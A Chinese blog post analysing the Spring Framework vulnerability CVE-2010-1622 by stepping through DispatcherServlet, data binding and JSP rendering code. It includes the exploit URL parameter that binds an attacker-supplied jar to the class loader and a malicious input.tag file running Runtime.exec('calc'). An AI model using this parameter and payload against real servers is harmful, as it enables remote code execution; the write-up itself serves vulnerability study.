`

cve-2010-1622 漏洞全分析

阅读更多

这是大概两年前刚学习spring源码的时候写的一篇文章。一直没发出来,最近有点时间,整理下发在了博客上。by dingo

 
一、简介

       Cve-2010-1622是spring框架在2010年被发现的一个漏洞(我知道很古老),该漏洞可以让攻击者通过url等方式注入自己的代码,并在服务端执行。如果服务器权限设置不当,甚至可以让攻击者执行自定义的任意代码。

 

二、准备

         分析了这个漏洞的原理,我们基本就可以窥视出spring框架,尤其是springmvc的一些实现过程。鉴于国内对这个漏洞的讨论还比较少,个人觉得分析一下还是有一些意义的。

 

预备知识:

        要分析该漏洞,需要有一些java,spring的基础知识。(当然不需要太多,☺)。除了对spring和java的简单了解外,我们需要首先了解一下spring中利用java反射原理对bean的操作方式。          

         a) BeanWrapperImpl的作用

         我们都知道,Spring里面有一个很重要的概念就是容器,容器里面存放的是用户或者系统本身创建的bean对象。Spring通过容器创建和管理这些bean对象,并把他们注入到需要使用这些对象的方法或者类中。

         在spring中org.springframework.beans.BeanWrapperImpl这个类发挥了很大的作用,它直接或间接实现了两个接口,BeanWrapper和PropertyAccessor。第一个接口定义了持有bean的方法,第二个接口定义了获取和修改bean的属性的方法。所以BeanWrapperImpl的功能就是具体实现了创建,持有以及修改bean的方法。

其中我们先重点提一下BeanWrapperImpl中的setPropertyValue方法。通过多种不同参数的setPropertyValue的方法,可以将简单类型的参数值或者复杂类型的参数值,比如array,list,map等,注入到指定bean的相关属性中。

         b) 准备环境的搭建  

         准备环境很简单,我们简单搭了一个spring-mvc的环境。其中包括:

          i. 一个简单的基于注释的controller:

 

 

@Controller
public class TestController {
	@RequestMapping("/test.htm")
	public String execute(User user){
		return "success";
	}
}

 

 

           ii. 一个简单pojo,User类

 

 

public class User {
	private String name;
	getter and setters ……
}

 

           iii.  Success.jsp 模板

 

<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

   

三、分析

        接下来具体来调试漏洞

        我们在spring的总入口DispatcherServlet.java的doDispatch方法出加上断点,

        在启动测试环境之后,我们向测试环境的8080端口提交如下的get请求。

       

http://127.0.0.1/test.htm?class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/

 

     请记住这个参数,

class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/

      后面会不停地提到。

       1、spring中的代码分析   

 

       Spring通过调用总入口DispatcherServlet.java的doDispath方法来路由处理本次的http请求。通过源码,我们可以看到doDispatch的两个参数分别为HttpServletRequest request, HttpServletResponse response,也就是当前请求的request和response对象。这是由tomcat容器传递给spring的。

我们先来总体预览一下doDispatch对于本次http请求的执行过程。其实主要就是有3步。

        a) 通过传入的Rquest,获取响应处理的controller

        b) 传入get参数,执行controller的方法

        c) 获取controller中相关方法的返回值,渲染模版对象,返回response

        接下来,按照这个大纲,我们来看spring是怎么做的。     

        

        1.1 获取响应处理的controller

        在springmvc中,一个controller常常对应着一个url路径,controller往往也是我们分析程序的入口处。但我们知道,spring不仅仅自己实现了springmvc框架,它与其他的mvc框架,比如stucts等都可以做到很好的结合。但是stucts中不是controller,而是action。所以Spring为了达到很好的扩展性,自定义了一种类型,handler,handler可以是任意框架的执行类,对于spring就是controller,对于stucts就是action.

         为了正确解析本次http请求,我们首先需要找到处理这次请求的handler,也就是springmvc中的对应的controller,对应到本次的测试例子,应该就是com.dingo.controller.TestController.

我们来看doDispatch的源码:

  

processedRequest = checkMultipart(request); 	
//检查是不是上传类型等
mappedHandler = getHandler(processedRequest, false);
//通过传入的request从容器中找到相应的handler

        getHandler通过传入的request对象获取了响应的处理handler,也就是我们的TestController,并且包装了其他一些interceptor,使之构成了一个内部对象——mappedHandler(如图)

        

    

      下面就是具体对获取的handle对象进行处理了。框架在处理http请求的时候不是使用的handle类,而肯定是使用的handler中的某个方法。对于各种不同handle中的方法,Spring都是通过HandlerAdapterhandle方法,进行统一调用,然后返回我们熟悉的springModelAndView对象。

      代码如下:

  

ModelAndView mv = null;
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

   

      ModelAndView对象返回之后,再调用:render(mv, processedRequest, response)

从而真正将模版渲染。这行代码也就是我们触发shellcode的地方。

   

       

   以上就是doDispatch中的大体逻辑,我们从中看到了框架是如何找到相应的handle,以及如何触发提交的shellcode.但是还有很多具体细节我们并不清楚,比如class.classLoader.Url[0]是如何被绑定到tomcat中对于的classloader中的呢,比如spring在渲染的时候又是在哪执行的命令代码的呢。

 

   接下来我们可以分两部分来分别分析,分别是:

   1) handle如何执行controller定义的方法的。这其中包含的关键点是数据如何绑定,也就是我们的jar:http://localhost:8080/springmvc/dingo.jar!/如何成功进入到我们期望进入的classloader对象中的。具体要分析的代码就是mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

   2) spring是如何解析我们传入的jar文件中的tag代码,进而执行其中的java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));方法。                   

 

    1.2 执行controller中的方法

 

     F5进入ha.handle方法。发现经过一系列checkandparper之后,返回的是invokeHandlerMethod(request, response, handler);这个方法的返回值。

     进一步跟进代码,最终发现,执行任务的是ServletHandlerMethodResolver对象,它首先调用handle中的方法,返回一个我们不知道是什么的Object值,然后调用getModelAndView获取ModelAndView。代码如下:

     

    Object  result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel);
    ModelAndView mav =  methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);

 

 

         带着疑问,我们来探索Object result,到底是一个什么样的值,他的作用是什么。F5进入invokeHandlerMethod方法实体,看看methodInvoker是如何通过java的反射执行controller的代码的。

 

         代码如下:

   Object[] args = resolveHandlerArguments(handlerMethodToInvoke, handler, webRequest, implicitModel);
   return doInvokeMethod(handlerMethodToInvoke, handler, args);

          resolvEHandlerArguments这个方法从字面上就可以推断出其作用是用来解析出controller方法的参数的。我们在TestControllerexecute传递的参数应该是User对象,通过查看eclipse中的变量提示,这边的返回值args证明了我们的猜测。

          

 

 

         解析完参数之后进一步就是调用解析结果开始执行具体方法,我们进入doInvokeMethod(handlerMethodToInvoke, handler, args)这个方法实体查看。

 

private Object doInvokeMethod(Method method, Object target, Object[] args) throws Exception {
		ReflectionUtils.makeAccessible(method);
		try {
			return method.invoke(target, args);
		}
		catch (InvocationTargetException ex) {
			ReflectionUtils.rethrowException(ex.getTargetException());
		}
		throw new IllegalStateException("Should never get here");
	}

          可以看到,最终spring调用的是java.lang.reflect.Method类的invoke方法,他的两个参数,targetTestController中的execute方法,args也就是刚刚解析出来的user对象。

现在我们知道刚刚那个不太清楚的Object代表什么内容了,它代表的就是:Execute方法执行后的返回值 “success”!

          检查一下,完全正确!(如图)

    

       

        到这边我们又看完了spring执行controller中的方法的过程,但是关于之前get参数如何注入到相关对象中的方法还是没有解决。我们传递的class.classloader.url[0]这个参数哪去了,你怎么能就这么返回了呢。

一定有什么东西我们忽略了。从头再回顾下我们的逻辑。

        我们本来要分析的是:

        mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

        进入方法之后我们发现返回mv对象分为两步:

        第一步:

           Object result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest,                   implicitModel);

        返回的result对象就是execute方法执行的返回结果,字符串”success”

 

        第二步

        真正返回ModelAndView对象:

        ModelAndView mav = methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);

        刚刚我们只分析了第一步

        第一步中:

Object[] args = resolveHandlerArguments (handlerMethodToInvoke, handler, webRequest, implicitModel);

获取了execute的参数值。

        第二步里面直接获取了ModelAndView对象,初步判断应该不是注入classloader的地方,所以很有可能在resolveHandlerArguments这个方法里面,spring悄悄将我们在request中传递的参数

class.classLoader.URLs[0]= jar:http://localhost:8080/springmvc/dingo.jar!/给绑定了。

        真相只有一个!我们进去看吧。

 

        代码如下:

private Object[] resolveHandlerArguments(Method handlerMethod, Object handler, NativeWebRequest webRequest, ExtendedModelMap implicitModel)throws Exception {

		Class[] paramTypes = handlerMethod.getParameterTypes();
		Object[] args = new Object[paramTypes.length];

		for (int i = 0; i < args.length; i++) {
		......
			if (paramName == null && attrName == null) {
				Object argValue = resolveCommonArgument(methodParam, webRequest);
				//获取普通的参数值,我们这边并没有传,所以继续往下走
				if (argValue != WebArgumentResolver.UNRESOLVED) {
					args[i] = argValue;
		.......
			else if (attrName != null) {
				//关键在这边,自动调用了一个binder去绑定了request里面的参数
				WebDataBinder binder = resolveModelAttribute(attrName, methodParam, implicitModel, webRequest, handler);
				boolean assignBindingResult = (args.length > i + 1 && Errors.class.isAssignableFrom(paramTypes[i + 1]));
				if (binder.getTarget() != null) {
					doBind(webRequest, binder, !assignBindingResult);
				}
				args[i] = binder.getTarget();
		.......
		return args;
	}

             其中doBind方法具体实现数据绑定:

    

protected void doBind(NativeWebRequest webRequest, WebDataBinder binder, boolean failOnErrors)throws Exception {
	ServletRequestDataBinder servletBinder = (ServletRequestDataBinder) binder;
	servletBinder.bind((ServletRequest) webRequest.getNativeRequest());
	if (failOnErrors) {
			servletBinder.closeNoCatch();
	}
}

        doBind方法应该就是spring通常的数据绑定方法了吧,继续分析servletBinder.bind,看具体是如何利用反射进一步注入get参数中的数据的。

 

       最终经过层层嵌套的调试,我们找到了applyPropertyValues这个方法:

protected void applyPropertyValues(MutablePropertyValues mpvs) {
try {
		// Bind request parameters onto target object.
		getPropertyAccessor().setPropertyValues (mpvs, isIgnoreUnknownFields(), isIgnoreInvalidFields());
}

        绿色的spring原来的注释也表明了这个方法的作用——Bind request parameters onto target object.

看到setPropertyValues这个方法我们也有一种柳暗花明的亲切感。之前介绍BeanWrapperImpl类的时候,这个方法不正是我们所了解的,用以给bean的属性赋值的方法吗?

        跟进之后果然发现走到了BeanWrapperImpl这个spring中我们很熟悉的类。

在之前介绍过的skyzbb的文章中,他对BeanWrapperImpl如何注入bean属性,以及重点介绍的,spring在注入ListMap,Array等对象的时候与注入普通对象有什么不同有了详细的介绍,我这边再简单提一下。我们看setPropertyValue的代码。

        由于这个类太长,我对他进行了一些简化,简单看结构:

private void setPropertyValue(PropertyTokenHolder tokens, PropertyValue pv) throws BeansException {
		......

		if (tokens.keys != null) {
			// Apply indexes and map keys: fetch value for all keys but the last one.
			......
				propValue = getPropertyValue(getterTokens);
			.....
			// Set value for last key.
			String key = tokens.keys[tokens.keys.length - 1];
			......
			else if (propValue.getClass().isArray()) {
			//对array类型的操作
				......
					Array.set(propValue, Integer.parseInt(key), convertedValue);
				
				......
			}
			else if (propValue instanceof List) {
				......
				//对list类型的操作
			}
			else if (propValue instanceof Map) {
				......
				//对map类型的操作
				map.put(convertedMapKey, convertedMapValue);
			}
		}

		else {
				......
				writeMethod.invoke(this.object, new Object[] {valueToApply});
				//调用writeMethod的invoke方法去赋值
			}
		}
	}

         可以看到springmaplistarray是分开处理的,对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

         最初的http请求走到这边,我们就可以看到,最开始提交的class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/

已经赋给了classloader,我们来检查一下。如图:

         

         
我们邪恶的jar包已经混入容器中了!

到此其实我们才分析道之前提到的不知道是什么的Object处,接下来获取ModelAndView的代码的代码相比较来说就简单多了:

          

	ModelAndView mav =  methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);
	进入getModelAndView方法:
	public ModelAndView getModelAndView(Method handlerMethod, Class handlerType, Object returnValue,
				ExtendedModelMap implicitModel, ServletWebRequest webRequest) {

			if (returnValue instanceof ModelAndView) {
				ModelAndView mav = (ModelAndView) returnValue;
				mav.getModelMap().mergeAttributes(implicitModel);
				return mav;
			}
			else if (returnValue instanceof Model) {
				return new ModelAndView().addAllObjects(implicitModel).addAllObjects(((Model) returnValue).asMap());
			}
			else if (returnValue instanceof Map) {
				return new ModelAndView().addAllObjects(implicitModel).addAllObjects((Map) returnValue);
			}
			else if (returnValue instanceof View) {
				return new ModelAndView((View) returnValue).addAllObjects(implicitModel);
			}
			else if (returnValue instanceof String) {	
				//我们的测试用例返回的是”success”,所以执行到这边
				return new ModelAndView((String) returnValue).addAllObjects(implicitModel);
			}
			else if (returnValue == null) {
				// Either returned null or was 'void' return.
				if (this.responseArgumentUsed || webRequest.isNotModified()) {
					return null;
				}
				else {
					// Assuming view name translation...
					return new ModelAndView().addAllObjects(implicitModel);
				}
			}
			else if (!BeanUtils.isSimpleProperty(returnValue.getClass())) {
				// Assume a single model attribute...
				....
	}

         可以看出,它只是判断了一下返回值,由于我们采用的是返回字符串,然后让spring自动找对应的模版的方法,直接在判断为string类型的时候返回新建的modelAndView对象。

         至此,解析spring如何执行controller中方法的过程圆满完成!

 

         1.3获取controller中相关方法的返回值,渲染模版对象,返回response

         解析完方法,我们就要进行最后的渲染模版工作了。

         再次回到DispatcherServlet,在执行完mv = ha.handle(processedRequest, response, mappedHandler.getHandler());方法后,我们走到了render(mv, processedRequest, response);方法,这个方法进行了渲染操作。

         先回过头来看我们的配置文件。

         测试用例采用了jsp作为模版文件。当然spring支持的模版文件远远不止jsp一种,velocity,freemarker等都可以当做spring的默认模版去渲染,反正最后能变成html代码给浏览器就行了。

为什么这边我们要使用jsp呢?因为只有jsp才能触发远程代码。(貌似是废话)

         Spring解析jsp采用的是内置的InternalResourceViewRwsolver类,这玩意儿叫视图定位器。也就是我们的测试小用例的Spring配置文件里面的

	<bean  class="org.springframework.web.servlet.view.InternalResourceViewResolver"
	p:prefix="/WEB-INF/jsp/" p:suffix=".jsp" />

           看完配置文件里面注入的bean,再接着看render代码。

           

protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response)
			throws Exception {
		View view = null;
		……
		view = resolveViewName(mv.getViewName(), mv.getModelInternal(), locale, request);
		……
		view.render(mv.getModelInternal(), request, response);
	}

           render方法实际上是调用了view对象的render方法,此时的view对象,就是刚刚的InternalResourceViewRwsolver类对应的InternalResourceView

           如图:



 

           view在执行render的时候,回到了InternalResourceViewRwsolver定义的renderMergedOutputModel(mergedModel, request, response);方法。饶了一圈,其实最终就是用InternalResourceViewRwsolver渲染模版的过程罢了。

          按照你的想法(或者是我的想法),我们再进入renderMergedOutputModel方法看看里面的实现。我们发现进入了ApplicationDispatcher这个类。这好像是一个容器吧?看看包名org.apache.catalina.core,原来我们已经逃离spring到了tomcat里面了!

 

           在spring里面绕了太久,都快有一种窒息的感觉,我们暂时逃离spring的禁锢,来到jsp的世界里面透透气。

           Jsp可能是我们搞安全的在接触java web的时候最先接触的概念和玩意儿了。还记得以前找tomcat的默认后台上传jsp shell直接拿服务器权限的爽快感吗!

作为后面分析的准备内容,我们先来看看jsp的实现部分原理。

Jsp实际上是一种servlet,只不过换了一种语法,并且由容器在后台进行了解析。

对于我们的测试用例来说,tomcat在运行的时候解析了我们的success.jsp文件,生成了一个success_jsp.java(这个类可以在tomcat运行目录的work文件夹下面找到),运行这个类的输出结果,就是jsp解析之后的结果。

 

           我们的success.jsp的代码为:

<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

           生成的success_jsp.java代码就为:

package org.apache.jsp.WEB_002dINF.jsp;
public final class success_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent {

  private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

  private static java.util.List _jspx_dependants;
  private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005fform_005fform_005fcommandName;

  private javax.el.ExpressionFactory _el_expressionfactory;
  private org.apache.AnnotationProcessor _jsp_annotationprocessor;

  public Object getDependants() {
    return _jspx_dependants;
  }

  public void _jspInit() {
		......
	}

  public void _jspDestroy() {
		......
  }

  public void _jspService(HttpServletRequest request, HttpServletResponse response)
        throws java.io.IOException, ServletException {
		......
  }

  private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context)
          throws Throwable {
		......
  }

  private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_form_005fform_005f0, PageContext _jspx_page_context, int[] _jspx_push_body_count_form_005fform_005f0)
          throws Throwable {
		......
  }
}

 }

        由于类的内容的比较多,这边我只列出了改类的方法,而没有列实体。从success_jsp.java类我们可以看到比较重要的三点:

        1) 该类继承了org.apache.jasper.runtime.HttpJspBase类,该类中定义了由jsp产生的servlet的一些标准。

        2) _jspService这个方法是对该jsp类的具体执行,在这个方法里面返回了jsp的输出等

        3) 具体到success.jsp中的<spring:form><spring:input>标签,对应的java类中分别产生了两个方法,_jspx_meth_form_005fform_005f0_jspx_meth_form_005finput_005f0。这两个方法体执行了spring特殊标签应该产生的功能。

           我们来重点看一下_jspx_meth_form_005finput_005f0这个方法体,先看一下之前我们提交的exp.jar中的input.tag文件:

<%@ tag dynamic-attributes="dynattrs" %>
<%
 java.lang.Runtime.getRuntime().exec("calc"); 
%>

            再来看一下_jspx_meth_form_005finput_005f0的方法定义:

private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_form_005fform_005f0, PageContext _jspx_page_context, int[] _jspx_push_body_count_form_005fform_005f0)
      	    throws Throwable {
    PageContext pageContext = _jspx_page_context;
    JspWriter out = _jspx_page_context.getOut();
    //  form:input
    org.apache.jsp.tag.meta.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.InputTag_tag();
    org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);
    _jspx_th_form_005finput_005f0.setParent(_jspx_th_form_005fform_005f0);
    // /WEB-INF/jsp/success.jsp(3,0) null
    _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));
    _jspx_th_form_005finput_005f0.doTag();
    org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    return false;
  }

           调用了org.apache.jsp.tag.meta.InputTag_tag这个类,然后执行了doTag()这个操作。原来Inputtag.tag这个文件也被编译成了一个java类。在相同路径找到该类之后,我们看其中的代码:

            

package org.apache.jsp.tag.meta;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class InputTag_tag
    extends javax.servlet.jsp.tagext.SimpleTagSupport
    implements org.apache.jasper.runtime.JspSourceDependent,
               javax.servlet.jsp.tagext.DynamicAttributes {


  private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

  private static java.util.List _jspx_dependants;

  private JspContext jspContext;
  private java.io.Writer _jspx_sout;
  private javax.el.ExpressionFactory _el_expressionfactory;
  private org.apache.AnnotationProcessor _jsp_annotationprocessor;

  public void setJspContext(JspContext ctx) {
    super.setJspContext(ctx);
    java.util.ArrayList _jspx_nested = null;
    java.util.ArrayList _jspx_at_begin = null;
    java.util.ArrayList _jspx_at_end = null;
    this.jspContext = new org.apache.jasper.runtime.JspContextWrapper(ctx, _jspx_nested, _jspx_at_begin, _jspx_at_end, null);
  }

  public JspContext getJspContext() {
    return this.jspContext;
  }
  private java.util.HashMap _jspx_dynamic_attrs = new java.util.HashMap();

  public void setDynamicAttribute(String uri, String localName, Object value) throws JspException {
    if (uri == null)
      _jspx_dynamic_attrs.put(localName, value);
  }
  public Object getDependants() {
    return _jspx_dependants;
  }

  private void _jspInit(ServletConfig config) {
    _el_expressionfactory = _jspxFactory.getJspApplicationContext(config.getServletContext()).getExpressionFactory();
    _jsp_annotationprocessor = (org.apache.AnnotationProcessor) config.getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
  }

  public void _jspDestroy() {
  }

  public void doTag() throws JspException, java.io.IOException {
    PageContext _jspx_page_context = (PageContext)jspContext;
    HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest();
    HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse();
    HttpSession session = _jspx_page_context.getSession();
    ServletContext application = _jspx_page_context.getServletContext();
    ServletConfig config = _jspx_page_context.getServletConfig();
    JspWriter out = jspContext.getOut();
    _jspInit(config);
    jspContext.getELContext().putContext(JspContext.class,jspContext);
    _jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs);
    try {
      out.write('\r');
      out.write('\n');

 java.lang.Runtime.getRuntime().exec("calc"); 

      out.write('\r');
      out.write('\n');
    } catch( Throwable t ) {
      if( t instanceof SkipPageException )
          throw (SkipPageException) t;
      if( t instanceof java.io.IOException )
          throw (java.io.IOException) t;
      if( t instanceof IllegalStateException )
          throw (IllegalStateException) t;
      if( t instanceof JspException )
          throw (JspException) t;
      throw new JspException(t);
    } finally {
      jspContext.getELContext().putContext(JspContext.class,super.getJspContext());
      ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile();
    }
  }
}

    

    重点看doTag中的部分代码: 

    

public void doTag() throws JspException, java.io.IOException {
    ……
    try {
      out.write('\r');
      out.write('\n');

 java.lang.Runtime.getRuntime().exec("calc");  //

 

终于,我们找到间谍了,原来这段shellcode偷偷藏在这个类里面!

      再回到之前我们从spring刚出来到tomcat的时刻。Tomcat中的renderMergedOutputModel方法执行了spring里面的render方法的具体操作,也就是说renderMergedOutputModel执行了模版里面的解析和其他一些tag的解析。

  • 大小: 16.4 KB
  • 大小: 58 KB
  • 大小: 26.8 KB
  • 大小: 21.2 KB
  • 大小: 15.7 KB
  • 大小: 22.3 KB
分享到:
评论

相关推荐

    Spring framework(cve-2010-1622)漏洞利用指南 .docx

    本文将对Spring Framework(CVE-2010-1622)漏洞进行深入分析,并提供相关知识点。 一、漏洞概述 Spring Framework是一个流行的Java WEB应用程序框架,但是在2010年,研究人员发现了一个严重的漏洞(CVE-2010-1622...

    CVE-2015-7857 Joomla注入漏洞利用工具

    **Joomla CMS与CVE-2015-7857注入漏洞** Joomla是一款流行的开源内容管理系统(CMS),用于构建各种类型的网站,包括企业、新闻、博客等。它的强大功能和灵活性使其成为全球众多用户的首选。然而,随着广泛使用,...

    CVE-2012-4969漏洞分析

    总之,通过分析,可以得出结论:CVE-2012-4969漏洞是因为CMshtmlEd类对象在释放后,其指针被错误地再次使用所导致。这样的漏洞能够被利用来执行任意代码,造成严重的安全威胁。解决这类问题,通常需要软件厂商发布...

    Spring framework(cve-2010-1622)漏洞利用指南1

    《Spring框架(CVE-2010-1622)漏洞分析与利用探讨》 Spring框架,作为Java领域广泛使用的轻量级应用框架,其安全性一直是开发者关注的重点。2010年出现的CVE-2010-1622漏洞,尽管在当时并未引发大规模的利用,但其...

    Windows-SMB-Ghost-CVE-2020-0796漏洞分析1

    【Windows SMB Ghost (CVE-2020-0796)漏洞分析】 Windows SMB Ghost漏洞,也称为CVE-2020-0796,是2020年3月微软在其官方SRC(Security Response Center)发布的一个安全公告中所描述的重大安全问题。这个漏洞存在...

    基于CVE-2018-20250的漏洞分析(pdf+视频).zip

    该团队经过深入研究检测相继发现了WinRAR的四个安全漏洞,分别为ACE文件验证逻辑绕过漏洞(CVE-2018-20250)、ACE文件名逻辑验证绕过漏洞(CVE-2018-20251)、ACE/RAR文件越界写入漏洞(CVE-2018-20252)以及LHA/LZH...

    hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip

    标题 "hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip" 指向的是一个与海康威视(Hikvision)设备相关的安全漏洞,具体是CVE-2017-7921认证绕过漏洞。这个压缩包可能包含一个工具或指南,用于解析...

    ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法1

    ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法1 ElasticSearch 是一个基于 Lucene 的搜索引擎,提供了强大的搜索功能。然而,在 2015 年,一种远程代码执行漏洞(CVE-2015-1427)被发现,影响...

    CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析1

    由于漏洞触发需要web服务,我们需要分析固件中的组件位置,尤其是dhttpd服务,它位于`/usr/sbin/dhttpd`。 在IDA反汇编器中打开dhttpd文件,我们可以找到函数sub_BEA0,这里包含了将URL与cgi-bin拼接并检查文件是否...

    CVE-2016-3720

    这个项目是CVE-2016-3720 Demo,为了避免搭建环境,大佬们可以直接获取到这个资源。 相对应的分析文章是:https://blog.csdn.net/qq_36869808 可以在这篇文章看到分析的内容,感谢~当然如果非常需要这个资源,也...

    SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963).doc

    SpringCloud Function SpEL 注入漏洞分析(CVE-2022-22963) SpringCloud Function 是 Spring 提供的一套分布式函数式编程组件,旨在帮助开发者专注于业务逻辑实现,而不需要关心服务器环境运维等问题。然而,在 ...

    CVE-2022-22965 GUItools单个图形化利用工具

    CVE-2010-1622中曾出现由于参数自动绑定机制导致的问题, 此前通过黑名单的方式修复了该漏洞,但是 JDK9之后引入了 Module,使得可以通过 getModule 绕过前者的黑名单限制,最后导致远程代码执行。

    WordPress 5.8.3 SQL注入漏洞 CVE-2022-21661.pdf

    【WordPress 5.8.3 SQL注入漏洞 CVE-2022-21661】是一个近期发现的安全问题,涉及到WordPress的核心函数`WP_Query`。这个漏洞并非直接的SQL注入,但因为`WP_Query`经常被WordPress插件广泛使用,所以其潜在的危害...

    CVE-2018-2883漏洞利用程序msf

    ### CVE-2018-2883漏洞概述 CVE-2018-2883是一个针对Oracle WebLogic Server的安全漏洞,该漏洞属于远程代码执行(RCE)类型,允许攻击者通过发送恶意构造的数据包来执行任意代码。此漏洞影响了多个版本的WebLogic ...

    cve-2018-2628 exp getshell

    【标题】"CVE-2018-2628 EXP Getshell" 是一个与网络安全相关的主题,涉及到了一个特定的漏洞利用(Exploit)和获取远程 shell 的技术。CVE(Common Vulnerabilities and Exposures)是用于识别安全漏洞的全球唯一...

    CVE-2009-0658漏洞分析1

    【CVE-2009-0658漏洞分析】涉及的是Adobe PDF阅读器中的一个安全漏洞,该漏洞编号为CVE-2009-0658,主要由JBIG2图像压缩格式中的错误引发,允许攻击者执行任意Win32代码。此漏洞在2009年3月被发现,尽管当时Adobe...

    春秋云境 CVE-2022-4230 夺旗

    **CVE-2022-4230** 是一个存在于 **WP Statistics** WordPress 插件(版本13.2.9及以前)中的安全漏洞。该漏洞的主要原因是插件在处理特定参数时没有进行充分的数据转义,从而导致SQL注入攻击成为可能。具体来说: ...

Global site tag (gtag.js) - Google Analytics